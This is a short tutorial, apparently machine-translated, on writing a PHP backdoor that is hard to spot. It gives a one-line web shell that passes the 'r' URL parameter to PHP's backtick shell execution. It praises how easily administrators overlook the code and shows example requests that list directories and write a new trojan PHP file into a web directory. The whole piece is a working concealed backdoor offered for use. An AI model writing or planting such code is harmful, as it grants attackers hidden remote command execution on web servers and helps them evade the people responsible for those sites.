How to write a PHP backdoor code that is not easy to find

This article introduces the knowledge of "how to write a PHP backdoor code that is not easy to find". In the operation of actual cases, many people will encounter such a dilemma, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

Here we use a reverse apostrophe, which is not paid much attention to by PHPer. The reverse apostrophe contains a string equivalent to the shell_exec function.

The camouflage is very good, it is easy to be ignored by the administrator.

$selfNums = $_ GET ['r']; if (isset ($selfNums)) {echo `$selfNums`;}

Just saw this code, I think everyone will say that there is no problem, but careful friends will also find that the following variables are wrapped in a symbol, since it is a variable, why should it be like this?

And it's not a single quote, this is the key, this symbol is a key under Esc (located in the exclamation point! Next to)

The same effect can be achieved through echo `system command `; system ()

If you don't believe it, you can test it.

Http://127.0.0.1/t.php?r=dir can list directories

Http://127.0.0.1/t.php?r=echo I am a horse > D:\ web\ 90sec.php

I have successfully tested it with appserv and virtual host.

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